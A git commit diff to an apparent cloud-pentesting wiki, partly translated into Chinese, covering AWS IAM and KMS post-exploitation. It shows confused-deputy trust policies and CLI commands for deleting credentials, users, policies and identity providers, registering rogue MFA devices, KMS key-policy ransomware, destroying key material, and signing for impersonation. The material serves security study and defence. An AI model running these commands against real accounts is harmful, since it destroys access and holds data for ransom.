Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2025-10-07 09:22:13 +00:00
parent 02f68a7495
commit 0cb58d6355
2 changed files with 170 additions and 41 deletions

View File

@@ -1,24 +1,24 @@
# AWS - IAM 后期利用
# AWS - IAM Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## IAM
关 IAM 访问的更多信息:
IAM 访问的更多信息:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
## 混淆代理问题
## Confused Deputy 问题
如果**允许一个外部账 (A)** 访问您账户中的**角色**,您可能对**谁可以确切访问该外部账户**几乎没有**可见性**。这是一个问题,因为如果另一个外部账 (B) 可以访问外部账 (A),那么**B 也可能能够访问的账**。
如果**允许外部账 (A)** 访问你账号中的 **角色**,你很可能对 **谁确切访问该外部账** 完全 **没有可见性**。这是一个问题,因为如果另一个外部账 (B) 访问外部账 (A),那么 **B 也可能能够访问的账**
因此,当允许外部账访问您账户中的角色时,可以指定一个 `ExternalId`。这是一个“秘密”字符串,外部账 (A) **需要指定**以**假设您组织中的角色**。由于**外部账 B 不知道这个字符串**,即使他可以访问 A也**无法访问的角色**。
因此,当允许外部账访问你账号中的角色时,可以指定一个 `ExternalId`。这是一个“秘密”字符串,外部账 (A) 需要**指定**它,以便**在你的组织中假定该角色**。由于**外部账 B 不知道这个字符串**,即使他访问 A也**无法访问的角色**。
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
但是,请注意这个 `ExternalId` “秘密”**不是秘密**,任何可以**读取 IAM 假角色策略的人都能看到它**。但只要外部账 A 知道它,而外部账 **B 不知道它**,就**可以防止 B 用 A 访问的角色**。
然而,请注意这个 `ExternalId` “秘密” **不是真正的秘密**,任何能够**读取 IAM 假角色策略的人都能看到它**。但只要外部账 A 知道它,而外部账 **B 不知道它**就**可以防止 B 用 A 访问的角色**。
示例:
```json
@@ -39,11 +39,11 @@
}
```
> [!WARNING]
> 攻击者要利用混淆的副手,他需要以某种方式查找当前账户的主体是否可以在其他账户中冒充角色
> 为了利用 confused deputy攻击者需要以某种方式确认当前 account 的 principals 是否能够冒充其他 account 中的 roles
### 意外的信任
#### 通配符作为主体
#### 通配符作为 principal
```json
{
"Action": "sts:AssumeRole",
@@ -51,9 +51,9 @@
"Principal": { "AWS": "*" }
}
```
此策略**允许所有AWS**承担该角色。
此策略**允许所有 AWS** 假定该角色。
#### 服务为主体
#### 服务为主体
```json
{
"Action": "lambda:InvokeFunction",
@@ -62,9 +62,9 @@
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
此策略**允许任何账户**配置他们的apigateway以调用此Lambda。
此策略 **允许任何账户** 配置其 apigateway 以调用此 Lambda。
#### S3作为主体
#### S3 作为主体
```json
"Condition": {
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
@@ -73,7 +73,7 @@
}
}
```
如果将 S3 存储桶作为主体,因为 S3 存储桶没有账户 ID如果你 **删除了你的存储桶,攻击者在他们自己的账户中创建了它**,那么他们可能会滥用这一点。
如果将 S3 bucket 指定为 principal因为 S3 buckets 没有 Account ID如果你 **删除了你的 bucket 并且攻击者在他们自己的账户中创建了它**,那么他们就可以滥用这一点。
#### 不支持
```json
@@ -84,9 +84,82 @@
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
避免 Confused Deputy 问题的一个常见方法是使用带有 `AWS:SourceArn` 的条件来检查源 ARN。然而**某些服务可能不支持这一点**根据一些来源CloudTrail 就是其中之一)。
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
## References
### 凭证删除
With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored.
```bash
# Remove Access Key of a user
aws iam delete-access-key \
--user-name <Username> \
--access-key-id AKIAIOSFODNN7EXAMPLE
## Remove ssh key of a user
aws iam delete-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### 身份删除
拥有类似 `iam:DeleteUser``iam:DeleteGroup``iam:DeleteRole``iam:RemoveUserFromGroup` 的权限,行为者可以删除用户、角色或组——或更改组成员关系——从而移除身份及其相关痕迹。这会立即中断依赖这些身份的人员和服务的访问,导致 denial-of-service 或访问丧失,因此这些 IAM 操作必须被严格限制和监控。
```bash
# Delete a user
aws iam delete-user \
--user-name <Username>
# Delete a group
aws iam delete-group \
--group-name <Username>
# Delete a role
aws iam delete-role \
--role-name <Role>
```
###
有了以下任一权限 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — 行为者可以删除或解除附加的托管/内联策略、移除策略版本或权限边界,并将策略与用户、组或角色解绑。此类操作会破坏授权并可能改变权限模型,导致依赖这些策略的主体立即失去访问权限或发生拒绝服务,因此这些 IAM 操作必须严格限制并进行监控。
```bash
# Delete a group policy
aws iam delete-group-policy \
--group-name <GroupName> \
--policy-name <PolicyName>
# Delete a role policy
aws iam delete-role-policy \
--role-name <RoleName> \
--policy-name <PolicyName>
```
### 联邦身份删除
使用 `iam:DeleteOpenIDConnectProvider``iam:DeleteSAMLProvider``iam:RemoveClientIDFromOpenIDConnectProvider`,攻击者可以删除 OIDC/SAML 身份提供者或移除 client IDs。 这会破坏联邦身份验证,阻止令牌验证,并立即拒绝依赖 SSO 的用户和服务的访问,直到 IdP 或配置恢复为止。
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
# Delete SAML provider
aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
### Illegitimate MFA Activation
通过 `iam:EnableMFADevice`,攻击者可以在某个用户的身份上注册一个 MFA 设备,从而阻止合法用户登录。一旦启用未授权的 MFA用户可能会被锁定直到该设备被移除或重置如果注册了多个 MFA 设备,登录只需要其中之一,因此该攻击在阻止访问方面不会生效)。
```bash
aws iam enable-mfa-device \
--user-name <Username> \
--serial-number arn:aws:iam::111122223333:mfa/alice \
--authentication-code1 123456 \
--authentication-code2 789012
```
### 证书/密钥元数据篡改
通过 `iam:UpdateSSHPublicKey``iam:UpdateCloudFrontPublicKey``iam:UpdateSigningCertificate``iam:UpdateServerCertificate`,攻击者可以更改公钥和证书的状态或元数据。通过将密钥/证书标记为不活动或修改引用,他们可以破坏 SSH 认证、使 X.509/TLS 验证失效,并立即中断依赖这些凭证的服务,从而造成访问或可用性丧失。
```bash
aws iam update-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
--status Inactive
aws iam update-server-certificate \
--server-certificate-name <Certificate_Name> \
--new-path /prod/
```
## 参考资料
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)

View File

@@ -1,26 +1,26 @@
# AWS - KMS 后期利用
# AWS - KMS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## KMS
有关更多信息,请查看
更多信息请参阅
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
### 加密/解密信息
### Encrypt/Decrypt 信息
`fileb://` `file://` AWS CLI 命令中用于指定本地文件路径的 URI 方案:
`fileb://` and `file://` 是 AWS CLI 命令中用于指定本地文件路径的 URI 方案:
- `fileb://:` 以二进制模式读取文件,通常用于非文本文件。
- `file://:` 以文本模式读取文件,通常用于纯文本文件、脚本或没有特殊编码要求的 JSON。
- `file://:` 以文本模式读取文件,通常用于纯文本文件、脚本或不需要特殊编码的 JSON。
> [!TIP]
> 注意如果想解密文件中的某些数据,文件必须包含二进制数据,而不是 base64 编码的数据。 (fileb://)
> 注意如果想解密文件中的某些数据,文件必须包含二进制数据,而不是 base64 编码的数据。 (fileb://)
- 使用 **对称** 密钥
- 使用 **symmetric** key
```bash
# Encrypt data
aws kms encrypt \
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
- 使用**非对称**密钥
- 使用 **asymmetric** 密钥:
```bash
# Encrypt data
aws kms encrypt \
@@ -58,16 +58,15 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
### KMS 勒索软件
### KMS Ransomware
拥有 KMS 特权访问权限的攻击者可以修改密钥的 KMS 策略并**授予他的账户访问权限**,同时移除授予合法账户的访问权限。
KMS 拥有特权访问的攻击者可以修改密钥的 KMS policy**将这些密钥的访问权限授予其账户**,从而移除合法账户被授予的访问权限。
后,合法账的用户将无法访问任何使用这些密钥加密的服务信息,从而在账户上创建一个简单但有效的勒索软件
后,合法账的用户将无法访问任何使用这些密钥加密的服务中的任何信息,从而在该账号上造成一种简单但有效的 ransomware
> [!WARNING]
> 注意**AWS 管理的密钥不受此攻击影响**,只有**客户管理的密钥**
> 还要注意需要使用参数 **`--bypass-policy-lockout-safety-check`**(在网页控制台中缺少此选项使得此攻击仅能通过 CLI 实现)。
> 注意**AWS managed keys aren't affected**,只有**Customer managed keys**会受到影响
> 另请注意需要使用参数 **`--bypass-policy-lockout-safety-check`**web 控制台缺少此选项使得该攻击只能通过 CLI 执行)。
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,34 +91,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
> 注意,如果更改该策略并仅向外部帐户授予访问权限,然后从该外部户尝试设置新策略以**将访问权限恢复到原始户,将无法做到,因为无法从跨帐户执行 Put Policy 操作**。
> 注意,如果更改该策略并且只授予一个外部账户访问权限,然后从该外部户尝试设置一个新策略以**将访问权限授回原始户,将无法做到,因为 Put Polocy action 无法从跨账户执行**。
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
### 通用 KMS 勒索软件
### Generic KMS Ransomware
#### 全球 KMS 勒索软件
还有另一种执行全局 KMS Ransomware 的方法,涉及以下步骤:
还有另一种执行全球 KMS 勒索软件的方法,涉及以下步骤:
- 创建一个新的 **由攻击者导入密钥材料的密钥**
- **使用新密钥重新加密** 受害者用先前版本加密的旧数据
- **删除 KMS key**
- 现在只有拥有原始密钥材料的攻击者才能解密这些加密数据
- 创建一个**由攻击者导入的密钥材料的新密钥**
- **使用新密钥重新加密以前版本加密的旧数据**
- **删除 KMS 密钥**
- 现在只有拥有原始密钥材料的攻击者才能解密加密数据
### Delete Keys via kms:DeleteImportedKeyMaterial
### 销毁密钥
拥有 `kms:DeleteImportedKeyMaterial` 权限的行为体可以从 `Origin=EXTERNAL` 的 CMKs已导入其密钥材料的 CMKs删除导入的密钥材料从而使它们无法解密数据。此操作具有破坏性且不可逆除非重新导入兼容的材料否则攻击者可以通过使加密信息永久无法访问来有效地造成类似 ransomware 的数据丢失。
```bash
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
aws kms delete-imported-key-material --key-id <Key_ID>
```
### 销毁密钥
销毁密钥可能导致 DoS。
```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
```
> [!CAUTION]
> 请注意AWS 现在**阻止从跨账户执行之前的操作:**
> 请注意AWS 现在 **阻止从跨账户执行之前的这些操作:**
### 更改或删除别名
此攻击会删除或重定向 AWS KMS 别名,破坏密钥解析并导致任何依赖这些别名的服务立即发生故障,从而造成 denial-of-service。具有类似 `kms:DeleteAlias``kms:UpdateAlias` 的权限时,攻击者可以移除或重新指向别名,干扰加密操作(例如 encrypt, describe。任何引用别名而非 key ID 的服务可能会失败,直到别名恢复或被正确重映射。
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
```
### Cancel Key Deletion
拥有类似 `kms:CancelKeyDeletion``kms:EnableKey` 的权限时,攻击者可以取消对 AWS KMS customer master key 的计划删除并在稍后重新启用它。这样会恢复该密钥 (initially in Disabled state),并恢复其解密先前受保护数据的能力,从而实现 exfiltration。
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
```
### Disable Key
拥有 `kms:DisableKey` 权限的行为者可以禁用一个 AWS KMS customer master key阻止其用于加密或解密。这会中断任何依赖该 CMK 的服务的访问,并可能在密钥重新启用之前造成即时中断或 denial-of-service。
```bash
aws kms disable-key \
--key-id <key_id>
```
### 派生共享密钥
拥有 `kms:DeriveSharedSecret` 权限的主体可以使用 KMS 持有的私钥加上用户提供的公钥来计算 ECDH 共享密钥。
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
```
### Impersonation via kms:Sign
拥有 `kms:Sign` 权限时,攻击者可以使用 KMS-stored CMK 对数据进行密码学签名而不暴露 private key生成有效签名从而实现 impersonation 或授权恶意操作。
```bash
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS with Custom Key Stores
具有诸如 `kms:DeleteCustomKeyStore``kms:DisconnectCustomKeyStore``kms:UpdateCustomKeyStore` 等权限时,行为者可以修改、断开或删除 AWS KMS Custom Key Store (CKS),使其主密钥不可用。 这会破坏依赖这些密钥的任何服务的加密、解密和签名操作,并可能导致立即的 denial-of-service。 因此,限制和监控这些权限至关重要。
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
```
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}